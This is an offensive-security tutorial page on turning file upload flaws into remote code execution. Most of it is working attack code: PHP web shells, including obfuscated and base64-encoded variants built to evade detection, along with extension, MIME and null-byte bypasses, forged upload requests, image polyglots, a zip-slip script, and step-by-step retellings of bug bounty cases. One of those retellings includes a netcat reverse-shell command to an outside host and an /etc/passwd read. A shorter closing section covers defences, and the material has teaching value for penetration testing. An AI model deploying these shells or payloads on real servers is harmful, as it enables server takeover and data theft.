File Upload Exploitation

Transform Innocent File Uploads Into Remote Code Execution

File UploadWeb ShellsFilter Bypass

What You'll Discover

🎯 Why This Matters

File upload vulnerabilities represent one of the most direct paths to remote code execution in web applications. As applications increasingly rely on user-generated content and file sharing functionality, these vulnerabilities have become more prevalent and sophisticated. A successful file upload attack can lead to complete server compromise, data exfiltration, and lateral movement within internal networks.

🔍 What You'll Learn

You'll understand how to identify file upload vulnerabilities and bypass file extension, MIME type, and content-based filtering. This includes crafting web shells for various server technologies, exploiting image upload functionality using polyglot files, and achieving remote code execution—the same systematic techniques used by security experts to assess application security.

🚀 Your First Win

In the next 10 minutes, you'll successfully bypass multiple file upload restrictions to upload a functional PHP web shell, gaining remote command execution on the target server and demonstrating the critical impact of inadequate file validation.

🔧 Try This Right Now

Test basic file upload bypass techniques

# Create a simple PHP web shell
<?php
if(isset($_GET['cmd'])) {
    echo "<pre>";
    system($_GET['cmd']);
    echo "</pre>";
}
?>

# Save as shell.php and try uploading

# If .php is blocked, try alternatives:
shell.php3
shell.php4
shell.php5
shell.phtml
shell.phar

# If extensions are filtered, try:
shell.jpg.php (double extension)
shell.PHP (case manipulation)
shell.php%00.jpg (null byte)

# If MIME type is checked, intercept with Burp and change:
Content-Type: image/jpeg

# Test execution:
http://<target>/uploads/shell.php?cmd=whoami

You'll see: How different bypass techniques work against various validation mechanisms. This hands-on approach reveals why layered validation is essential and how systematic testing finds weaknesses.

Skills You'll Master

✅ Core Understanding

  • File upload attack vectors and entry points
  • Server-side validation bypass techniques
  • Web shell development and deployment
  • Polyglot file creation and exploitation

🔍 Expert Skills

  • Filter evasion and encoding techniques
  • Remote code execution via file inclusion
  • Post-exploitation and persistence methods
  • Secure development and validation practices

Understanding File Upload Vulnerabilities

File upload vulnerabilities occur when applications fail to properly validate uploaded files

The fundamental issue is that applications often trust user-provided files without proper validation, allowing attackers to upload malicious content that can be executed on the server. This becomes particularly dangerous when uploaded files are stored in web-accessible directories and can be directly executed by the web server.

Common Weaknesses

Typical validation implementation errors

Client-side validation only
Extension blacklisting
MIME type spoofing
Weak content validation
Path traversal
Insecure file storage

Attack Vectors

Methods used to exploit file uploads

Web shell upload
Polyglot files
Double extensions
Null byte injection
ZIP extraction abuse
Image metadata injection

Impact Potential

What attackers can achieve

Remote code execution
Complete server compromise
Data exfiltration
Lateral movement
Defacement
Persistent backdoors

Tools and Techniques

File upload exploitation relies primarily on understanding validation mechanisms and crafting payloads that bypass them, making this a skill that rewards systematic testing and creative problem-solving.

Web Shell Development: The Core Technique

Web shells are the primary goal of file upload exploitation because they provide direct command execution on the target server, essentially turning a file upload vulnerability into remote access.

PHP Web Shell Development

# Basic PHP web shell
<?php
if(isset($_GET['cmd'])) {
    echo "<pre>";
    system($_GET['cmd']);
    echo "</pre>";
}
?>

# Advanced web shell with features
<?php
if(isset($_POST['cmd'])) {
    echo "<pre>" . shell_exec($_POST['cmd']) . "</pre>";
}
if(isset($_FILES['upload'])) {
    $target = $_FILES['upload']['name'];
    move_uploaded_file($_FILES['upload']['tmp_name'], $target);
    echo "File uploaded: " . $target;
}
?>
<html>
<body>
<h3>Web Shell</h3>
<form method="post">
<input type="text" name="cmd" placeholder="Command" size="50">
<input type="submit" value="Execute">
</form>
<form method="post" enctype="multipart/form-data">
<input type="file" name="upload">
<input type="submit" value="Upload">
</form>
</body>
</html>

# Obfuscated shell to evade detection
<?php
$a = 'sys';
$b = 'tem';
$c = $a.$b;
if(isset($_GET['x'])) {
    $c($_GET['x']);
}
?>

# Base64 encoded shell
<?php
eval(base64_decode('c3lzdGVtKCRfR0VUWydjbWQnXSk7'));
?>

Web shells provide the foundation for further exploitation, allowing you to explore the file system, escalate privileges, and establish persistent access.

Filter Bypass: The Expert Edge

Understanding how to bypass various validation mechanisms is what separates systematic testing from random attempts—this requires knowledge of how different parsers and validators work.

Extension and MIME Type Bypass

# Extension bypass techniques

# Alternative extensions (server-specific)
PHP: .php, .php3, .php4, .php5, .phtml, .phar
ASP: .asp, .aspx, .ashx, .asmx, .cer, .asa
JSP: .jsp, .jspx, .jsw, .jsv, .jspf

# Case manipulation
shell.php → shell.PHP, shell.Php, shell.pHp

# Double extensions
shell.jpg.php
shell.png.php5
shell.gif.phtml

# Null byte injection (older systems)
shell.php%00.jpg
shell.php\x00.png

# MIME type spoofing via Burp Suite
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg  # Spoofed MIME type

<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--

# HTAccess bypass (if .htaccess uploads allowed)
AddType application/x-httpd-php .jpg
# Then upload PHP code as .jpg file

These bypass techniques work because validation often checks only one aspect of the file, missing edge cases and parser differences.

Polyglot Files: Advanced Exploitation

Polyglot files appear as valid images to validation checks but contain executable code, allowing you to bypass content-based validation while maintaining attack capability.

Image Polyglot Creation

# GIF/PHP polyglot
GIF89a
<?php system($_GET['cmd']); ?>

# JPEG/PHP polyglot (add PHP after JPEG headers)
# Use hex editor to add PHP code after valid JPEG structure
\xFF\xD8\xFF\xE0\x00\x10JFIF...\xFF\xD9
<?php system($_GET['cmd']); ?>

# Using exiftool to inject PHP in image metadata
exiftool -Comment="<?php system(\$_GET['cmd']); ?>" image.jpg
mv image.jpg shell.php

# PNG/PHP polyglot
# Create valid PNG then append PHP
echo -e "\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01\x01\x00\x00\x00\x007n\xf9$\x00\x00\x00\nIDAT\x08\x1dc\x00\x01\x00\x00\x05\x00\x01\r\n-\xdb\x00\x00\x00\x00IEND\xaeB`\x82" > polyglot.png
echo "<?php system(\$_GET['cmd']); ?>" >> polyglot.png

# SVG/XSS polyglot
<svg xmlns="http://www.w3.org/2000/svg">
<script>
<![CDATA[
alert('XSS');
]]>
</script>
</svg>

# ZIP file with directory traversal
# Create malicious ZIP that extracts files outside intended directory
python -c "
import zipfile
with zipfile.ZipFile('malicious.zip', 'w') as z:
    z.writestr('../../../var/www/html/shell.php', '<?php system(\$_GET["cmd"]); ?>')
"

Polyglot files demonstrate advanced understanding of file formats and how to craft files that satisfy multiple validators while maintaining malicious functionality.

Real-World Attack Scenarios

These scenarios are based on actual bug bounty findings and CVE discoveries by security researchers, demonstrating how file upload vulnerabilities translate into real-world compromises.

CVE-2019-19576: Class.upload.php Filter Bypass (Critical)

Security researcher Jinny Ramsmark discovered a filter bypass in class.upload.php <= 2.0.3 that allowed arbitrary file upload leading to RCE. This vulnerability affected numerous applications including Joomla K2 extension. Source

# Step 1: Identify vulnerable upload endpoint
# Target running class.upload.php <= 2.0.3
# Common in Joomla K2 and other CMS extensions

# Step 2: Discover .phar extension bypass
# Extension filter blacklisted .php, .php3, .php4, .php5, .phtml
# But missed .phar extension which executes as PHP on Debian/Ubuntu

# Step 3: Create image polyglot with payload
# Using inject.php tool to embed PHP in valid JPEG
php inject.php
# Generates image.jpg.phar with embedded payload

# Step 4: Bypass content validation
# File contains valid JPEG headers + PHP payload
# Passes through imagecreatefromjpeg() processing
# Magic bytes: FF D8 FF E0 (valid JPEG)
# Followed by: <?php system($_GET['c']); ?>

# Step 5: Upload malicious image
POST /upload.php HTTP/1.1
Content-Type: multipart/form-data

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="image.jpg.phar"
Content-Type: image/jpeg

[JPEG_HEADERS]<?php system($_GET['c']); ?>
------WebKitFormBoundary--

# Step 6: Execute commands
GET /images/image_resized.phar?c=uname%20-a
# Response: Linux server details

GET /images/image_resized.phar?c=cat%20/etc/passwd
# Response: System users enumerated

# Result: Full RCE while maintaining valid image appearance

Timeline Impact: Reported December 3, 2019; patched within 24 hours; affected applications like Joomla K2 with widespread installations across the web.

Bug Bounty Case: Profile Upload Base64 Bypass ($$$$ Bounty)

Security researcher Akash A documented a profile upload vulnerability where server-side filtering blocked "php" keywords but accepted base64-encoded payloads, leading to a significant bounty reward. Source

# Step 1: Reconnaissance
# Identify Apache server via Wappalyzer
# Locate profile image upload functionality

# Step 2: Test initial restrictions
# Upload .php file → blocked by client-side validation
# Intercept with Burp Suite, change .jpg to .php

# Step 3: Discover keyword filtering
# Payload: <?php system($_GET['cmd']); ?> → BLOCKED
# Server detects "php" keyword and rejects upload

# Step 4: Bypass with shortened syntax
# Payload: <? system($_GET['cmd']); ?> → ACCEPTED but not executable
# Upload succeeds but fails execution

# Step 5: Base64 encoding bypass
# Craft encoded payload to evade keyword detection
# Original: echo shell_exec($_GET['cmd'].' 2>&1');
# Base64: ZWNobyBzaGVsbF9leGVjKCRfR0VUWydjbWQnXS4nIDI+JjEnKTs=

# Step 6: Deploy final payload
POST /profile/upload HTTP/1.1
Content-Type: multipart/form-data

------WebKitFormBoundary
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/jpeg

<?=eval(base64_decode('ZWNobyBzaGVsbF9leGVjKCRfR0VUWydjbWQnXS4nIDI+JjEnKTs='));?>
------WebKitFormBoundary--

# Step 7: Achieve RCE
GET /uploads/shell.php?cmd=whoami
# Response: www-data

GET /uploads/shell.php?cmd=nc%20-e%20/bin/bash%20hackerdna.com%204444
# Establishes reverse shell connection

# Result: Complete server compromise via encoding bypass

Bounty Recognition: This discovery earned a four-figure bug bounty reward, highlighting the financial impact and severity of file upload vulnerabilities in production applications.

Multiple Bypass Evolution: Escalating Severity

Security researcher Sagar Sajeev documented a case where they bypassed file upload fixes three consecutive times, each earning separate bounties and demonstrating the complexity of secure file handling. Source

# Bypass #1: Case Manipulation
# Initial restriction: .php extension blocked
filename="payload.pHp5"  # Mixed case + alternative extension
# Result: BYPASSED - Client-side validation only

# Security team deploys fix...

# Bypass #2: Null Byte Injection  
# Enhanced restriction: Server-side extension filtering
filename="payload.php\x00.png"  # Null byte truncation
Content-Type: image/png
# Result: BYPASSED - Null byte handling flaw

# Security team deploys stronger fix...

# Bypass #3: Magic Bytes + Filter Evasion
# Advanced restriction: Magic byte validation + keyword filtering
# Discovered: Backend removes '.php' from filenames

# Step 1: Craft filename for filter bypass
filename="payload.p.phphp"  # When '.php' removed → 'payload.php'

# Step 2: Add PNG magic bytes for content validation
echo "89 50 4e 47 0d 1a 0a" | xxd -p -r > payload.p.phphp
echo "<?php system(\$_GET['cmd']); ?>" >> payload.p.phphp

# Step 3: Upload and execute
POST /upload HTTP/1.1
Content-Type: multipart/form-data

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="payload.p.phphp"
Content-Type: image/png

[PNG_MAGIC_BYTES]<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--

# Step 4: Access renamed file
GET /uploads/payload.php?cmd=id
# Response: uid=33(www-data) gid=33(www-data)

# Final security hardening: Sandbox environment implemented
# No further bypasses discovered

# Total Impact: Three separate bounties, demonstrating
# the iterative nature of security improvements

Security Evolution: This case study shows how attackers adapt to security measures, earning the researcher three separate bounties over a two-week period until robust sandboxing was implemented.

Defensive Countermeasures

Effective file upload protection requires implementing multiple security layers that work together to prevent exploitation. These proven countermeasures are essential for production environments and are used by major organizations to secure file handling operations.

Primary Defense: Multi-Layer File Validation

The foundation of secure file uploads relies on comprehensive validation at multiple checkpoints. Each layer provides independent security that attackers must bypass, making exploitation significantly more difficult.

  • Extension whitelisting (never blacklisting) - Maintain a strict list of 3-5 allowed file extensions maximum, reviewed quarterly and updated only when business requirements demand it
  • MIME type verification - Validate content headers using server-side libraries that examine actual file contents rather than trusting user-provided headers
  • File size enforcement - Implement strict size limits based on business requirements, typically 2-5MB for images and 10MB for documents maximum
  • Content structure validation - Use specialized libraries to verify file format integrity and detect embedded malicious content or polyglot attacks
  • Filename sanitization - Strip dangerous characters and replace original filenames with cryptographically secure random names to prevent directory traversal

Critical Security Implementation

Beyond basic validation, these security measures are mandatory for production environments and required by compliance frameworks like SOC 2 and PCI DSS.

  • Execution prevention at web server level - Configure Apache, Nginx, or IIS to treat all files in upload directories as static content and prevent script execution through handler restrictions
  • Secure storage isolation - Store uploaded files outside the web root whenever possible, using dedicated storage services or isolated directories with restricted access permissions
  • File reprocessing and metadata stripping - Automatically reprocess images and documents using server-side libraries to remove potentially malicious metadata and embedded content
  • Virus and malware scanning integration - Implement real-time scanning using enterprise solutions like ClamAV, Windows Defender, or commercial antivirus APIs before file storage
  • Content Security Policy enforcement - Apply strict CSP headers when serving user-uploaded content to prevent XSS and other client-side attacks

Advanced Protection Mechanisms

Enterprise-grade security requires additional protective measures that defend against sophisticated attackers and provide comprehensive monitoring capabilities.

  • Sandboxed file processing environments - Use containerized or virtualized environments for file processing operations to isolate potential exploits from production systems
  • Upload rate limiting and abuse prevention - Implement strict per-user and per-IP upload limits with progressive delays to prevent automated attacks and resource exhaustion
  • Comprehensive audit logging - Log all upload attempts with file hashes, user information, timestamps, and validation results for security monitoring and incident response
  • File quarantine and automated response - Automatically quarantine suspicious files and alert security teams when validation failures or malware detection occurs
  • Regular security assessment testing - Perform quarterly penetration testing specifically targeting file upload functionality using the latest bypass techniques

Production Defense Strategy Requirements

  • Multiple independent validation layers - Each security control must function independently so that bypassing one layer does not compromise overall security
  • Fail-secure design principles - All validation failures must result in upload rejection with detailed logging rather than allowing potentially dangerous files
  • Regular security updates and monitoring - Maintain current versions of all file processing libraries and monitor security advisories for new attack vectors
  • Incident response procedures - Establish clear procedures for responding to successful file upload exploits including containment, analysis, and remediation steps

🎯 You've Got File Upload Exploitation Down!

You now understand how to transform innocent file uploads into remote code execution vectors. You can bypass validation mechanisms, craft web shells, and exploit various file processing vulnerabilities using the same systematic techniques that security experts use to assess application security and achieve complete server compromise.

File Upload ExploitationFilter BypassWeb Shell DevelopmentRemote Code ExecutionSecure Development

Ready to Secure Web Applications Against Critical Vulnerabilities